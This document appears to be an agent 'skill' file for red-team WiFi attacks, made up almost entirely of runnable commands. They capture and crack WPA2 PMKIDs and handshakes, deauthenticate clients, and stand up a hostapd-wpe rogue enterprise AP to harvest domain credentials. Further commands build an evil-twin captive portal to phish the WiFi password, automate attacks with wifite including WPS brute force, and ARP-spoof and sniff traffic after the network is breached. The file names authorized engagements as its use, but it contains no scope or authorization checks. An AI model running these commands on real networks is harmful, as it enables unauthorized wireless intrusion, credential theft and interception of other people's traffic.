---
name: rt-wifi-attacks
description: "Advanced WiFi penetration testing — WPA2 PMKID capture (clientless), Evil Twin / WPA Enterprise downgrade (hostapd-wpe), KRACK attack, WPS brute force, deauth attacks, rogue AP with credential capture, enterprise 802.1X PEAP downgrade. Tools: wifite2, aircrack-ng, hcxdumptool, hcxtools, hostapd-wpe, bettercap. For physical red team engagements requiring wireless access."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
> ⚠️ **Requires:** WiFi adapter with monitor mode (e.g., Alfa AWUS036ACH) passed to Docker via `--device` or USB passthrough

# rt-wifi-attacks — Professional WiFi Penetration Testing

## Overview

WiFi attacks remain highly effective for physical red team engagements — bypass perimeter security by capturing credentials on the parking lot, or setup a rogue AP at client offices to capture enterprise creds.

**When to use:**
- Physical red team engagement requiring network access
- Testing wireless security of corporate WiFi
- Demonstrating WPA2-Enterprise credential theft
- Testing guest WiFi isolation

---

## Setup — WiFi Adapter in Docker

```bash
# Check available WiFi interfaces on host
ip link show | grep wlan
iwconfig

# Pass adapter to Docker
docker run -it --privileged \
  --net=host \
  --device=/dev/bus/usb \
  rtexit/kali:v3.0

# Or with specific interface
docker exec rtexit-kali bash -c "
  airmon-ng start wlan0
  iwconfig wlan0mon
"
```

---

## Phase 1: Survey & Reconnaissance

```bash
docker exec rtexit-kali bash -c "
# Enable monitor mode
airmon-ng check kill
airmon-ng start wlan0

# Scan all networks
airodump-ng wlan0mon

# Capture specific BSSID (2.4GHz + 5GHz)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon

# Also use bettercap for passive scan
bettercap -iface wlan0mon -eval 'wifi.recon on; sleep 30; wifi.show'
"
```

---

## Phase 2: WPA2 PMKID Attack (No Clients Needed)

```bash
docker exec rtexit-kali bash -c "
# PMKID attack — capture handshake without deauth, no clients needed
# Step 1: Capture PMKID with hcxdumptool
hcxdumptool -i wlan0mon \
  --enable_status=1 \
  -o /tmp/pmkid_capture.pcapng \
  --filtermode=2 \
  --filterlist_ap=/tmp/target_bssids.txt &
sleep 60
kill %1

# Step 2: Convert to hashcat format
hcxpcapngtool -o /tmp/pmkid.hash /tmp/pmkid_capture.pcapng

# Step 3: Crack with hashcat (mode 22000 = WPA2)
hashcat -a 0 -m 22000 /tmp/pmkid.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
  --force --status

# Step 4: Rule-based attack
hashcat -a 0 -m 22000 /tmp/pmkid.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
  -r /opt/hashcat/rules/best64.rule --force
"
```

---

## Phase 3: WPA2 4-Way Handshake (Traditional)

```bash
docker exec rtexit-kali bash -c "
TARGET_BSSID=AA:BB:CC:DD:EE:FF
TARGET_CHANNEL=6

# Step 1: Start capture
airodump-ng -c \$TARGET_CHANNEL --bssid \$TARGET_BSSID -w /tmp/handshake wlan0mon &

# Step 2: Deauth a client to force handshake
aireplay-ng --deauth 10 -a \$TARGET_BSSID wlan0mon
sleep 5

# Step 3: Verify capture has handshake
aircrack-ng /tmp/handshake*.cap | grep 'handshake'

# Step 4: Convert + crack
hcxpcapngtool -o /tmp/handshake.hash /tmp/handshake*.cap
hashcat -a 0 -m 22000 /tmp/handshake.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --force

# Step 5: Wordlist generation from SSID (CUPP + cewl)
cupp -i  # interactive — enter target org info
cewl https://target.com -m 8 -d 2 > /tmp/target_words.txt
hashcat -a 0 -m 22000 /tmp/handshake.hash /tmp/target_words.txt --force
"
```

---

## Phase 4: WPA2-Enterprise PEAP Downgrade (EAP Harvest)

```bash
# Capture domain\username + NTLM hash from enterprise WiFi clients
# Uses hostapd-wpe to intercept MSCHAPv2 challenge-response

docker exec rtexit-kali bash -c "
# Check if target uses WPA2-Enterprise
airodump-ng wlan0mon | grep 'WPA2.*EAP\|MGT'

# Set up rogue Enterprise AP
# 1. Create hostapd-wpe config
cat > /tmp/hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CORPORATE-WIFI
channel=6
hw_mode=g
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
EOF

# 2. Launch rogue AP + deauth clients from real AP
hostapd-wpe /tmp/hostapd-wpe.conf &

# Deauth from real Enterprise AP
aireplay-ng --deauth 5 -a REAL_AP_BSSID wlan0mon

# Captured creds appear in /var/log/hostapd-wpe.log
tail -f /var/log/hostapd-wpe.log | grep -i 'username\|password\|response'
"
```

```bash
docker exec rtexit-kali bash -c "
# Crack captured NTLM challenge-response
# Format: username:domain:challenge:response
# Use asleap or hashcat mode 5500 (MSCHAPv2)

# asleap method
asleap -C CHALLENGE_HEX -R RESPONSE_HEX -W /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

# hashcat method (mode 5500 = NTLMv1, mode 5600 = NTLMv2)
echo 'USER:DOMAIN:CHALLENGE:RESPONSE' | hashcat -a 0 -m 5600 - rockyou.txt --force
"
```

---

## Phase 5: Evil Twin — WPA2 Personal Credential Phishing

```bash
docker exec rtexit-kali bash -c "
# Create fake AP with captive portal asking for WiFi password
TARGET_SSID='CorpGuest'

# Method: airbase-ng + DNSmasq + Apache captive portal
airbase-ng -e '\$TARGET_SSID' -c 6 wlan0mon &

# Configure DHCP
cat > /tmp/dnsmasq.conf << 'EOF'
interface=at0
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
address=/#/10.0.0.1
EOF

ifconfig at0 10.0.0.1 netmask 255.255.255.0
dnsmasq -C /tmp/dnsmasq.conf

# Captive portal page to harvest PSK
# Serve a fake 'WiFi login' page on Apache
# When victim enters PSK → test against handshake capture → if match: real password
"
```

---

## Phase 6: wifite2 — Automated All-in-One

```bash
docker exec rtexit-kali bash -c "
# wifite2 automates everything: capture + deauth + crack

# Attack all visible networks
wifite --wpa --pmkid --dict /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

# Attack specific target
wifite -e 'CORP-WIFI' --pmkid --dict /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

# WPS attack on vulnerable APs
wifite --wps-only --no-wpa
"
```

---

## Phase 7: Post-Compromise — Traffic Analysis

```bash
docker exec rtexit-kali bash -c "
# After cracking WPA2 key — capture all traffic
# Connect to network then:

# ARP poisoning → MITM all traffic
bettercap -iface wlan0 -eval '
  net.probe on
  sleep 5
  net.show
  set arp.spoof.targets 192.168.1.0/24
  arp.spoof on
  net.sniff on
'

# Capture credentials from HTTP
tcpdump -i wlan0 -w /tmp/wifi_capture.pcap &
# After capture:
# PCredz -f /tmp/wifi_capture.pcap
"
```

---

## Related Skills
- `rt-exploit-network` — post-WiFi network exploitation
- `rt-ssl-mitm` — intercept HTTPS after WiFi access
- `rt-exploit-physical` — physical access scenarios
- `rt-redteam-infra` — set up C2 after WiFi access

## References
- https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- https://github.com/ZerBea/hcxdumptool
- https://attack.mitre.org/techniques/T1465/ — Rogue Wireless Access Point
